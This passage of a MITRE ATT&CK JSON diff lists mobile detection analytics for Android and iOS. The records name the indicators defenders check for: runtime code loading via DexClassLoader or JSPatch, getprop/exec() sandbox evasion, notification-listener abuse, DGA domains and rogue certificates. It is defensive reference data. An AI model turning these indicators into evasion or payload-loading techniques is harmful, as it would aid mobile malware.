"Analytic 1662", + "description": "Unexpected behavior from an application could be an indicator of masquerading.\nApplication vetting services may potentially determine if an application contains suspicious code and/or metadata.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ddebe043-2017-44ba-96e5-cbe87916511b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0610#AN1663", + "external_id": "AN1663" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1663", + "description": "Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.\nMany properly configured firewalls may naturally block one-way command and control traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dec6e0d3-f4ae-48ed-90b9-ee32fd7e8dc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0610#AN1664", + "external_id": "AN1664" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1664", + "description": "Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.\nMany properly configured firewalls may naturally block one-way command and control traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--462f9ed4-5b6b-4426-b383-cd331f2984c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0611#AN1665", + "external_id": "AN1665" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1665", + "description": "The user can also inspect and modify the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access). \nApplication vetting services can look for applications requesting the `BIND_NOTIFICATION_LISTENER_SERVICE` permission in a service declaration. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dda0e909-cceb-40eb-bff0-6bd0cd74e638", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0612#AN1666", + "external_id": "AN1666" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1666", + "description": "The user can view applications that have registered accessibility services in the accessibility menu within the device settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--729a7413-3c5b-4637-a97b-9bba9f7734a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0613#AN1667", + "external_id": "AN1667" + }, + { + "source_name": "unit42_strat_aged_domain_det", + "description": "Chen, Z. et al. (2021, December 29). Strategically Aged Domain Detection: Capture APT Attacks With DNS Traffic Trends. Retrieved July 31, 2023.", + "url": "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/" + }, + { + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1667", + "description": "Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c56cfd62-b8cb-49be-820b-e447a1605106", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0613#AN1668", + "external_id": "AN1668" + }, + { + "source_name": "unit42_strat_aged_domain_det", + "description": "Chen, Z. et al. (2021, December 29). Strategically Aged Domain Detection: Capture APT Attacks With DNS Traffic Trends. Retrieved July 31, 2023.", + "url": "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/" + }, + { + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1668", + "description": "Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3723c7a3-2ea7-455f-aec5-29300cb7ae64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0614#AN1669", + "external_id": "AN1669" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1669", + "description": "Mobile security products can often alert the user if their device is vulnerable to known exploits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--de37eb78-5f35-4327-99d0-ad6546ab0fb6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0614#AN1670", + "external_id": "AN1670" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1670", + "description": "Mobile security products can often alert the user if their device is vulnerable to known exploits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6a60d1be-ab95-46d2-91a7-01703553090e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0615#AN1671", + "external_id": "AN1671" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1671", + "description": "[Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1646) can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--413bdb56-913d-42e0-978e-5a48c60f562e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0615#AN1672", + "external_id": "AN1672" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1672", + "description": "[Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1646) can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5044447d-dc82-4d74-ac8c-02e5559f374c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0616#AN1673", + "external_id": "AN1673" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1673", + "description": "Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dd9778f4-5919-4796-9d4c-b3fb6ace453d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0616#AN1674", + "external_id": "AN1674" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1674", + "description": "Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8503331d-09f5-49d3-838c-f0d3b1d55e30", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0617#AN1675", + "external_id": "AN1675" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1675", + "description": "Many properly configured firewalls may naturally block command and control traffic.\nApplication vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--acc1bb20-bd46-4228-abba-f4befe82e926", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0617#AN1676", + "external_id": "AN1676" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1676", + "description": "Many properly configured firewalls may naturally block command and control traffic.\nApplication vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7b4c77fd-f350-48ec-abce-aac3e35c939f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0618#AN1677", + "external_id": "AN1677" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1677", + "description": "Application vetting services may be able to list domains and/or IP addresses that applications communicate with. \nMobile security products may provide URL inspection services that could determine if a domain being visited is malicious.\nApplication vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of `DexClassLoader`, `System.load`, or the WebView `JavaScriptInterface` capability; on iOS, use of JSPatch or similar capabilities).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b6d9d5a1-5966-4888-b4ce-30b125043c4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0618#AN1678", + "external_id": "AN1678" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1678", + "description": "Application vetting services may be able to list domains and/or IP addresses that applications communicate with. \nMobile security products may provide URL inspection services that could determine if a domain being visited is malicious.\nApplication vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of `DexClassLoader`, `System.load`, or the WebView `JavaScriptInterface` capability; on iOS, use of JSPatch or similar capabilities).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--04fbc0f1-82f0-4311-9c39-6b519b48e7d8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0619#AN1679", + "external_id": "AN1679" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1679", + "description": "On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. \n\nOn iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8e20de5b-1b9c-4443-a095-bcdd52ed161e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0619#AN1680", + "external_id": "AN1680" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1680", + "description": "On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. \n\nOn iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f12b94b0-ec2f-4eb1-9ea4-8632e41475a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0620#AN1681", + "external_id": "AN1681" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1681", + "description": "Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a16c57b3-6a4c-4b15-92e9-d2d29f5b7d69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0620#AN1682", + "external_id": "AN1682" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1682", + "description": "Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7f84f2b8-6ef3-4167-b059-a455d7c40a7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0621#AN1683", + "external_id": "AN1683" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1683", + "description": "Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": 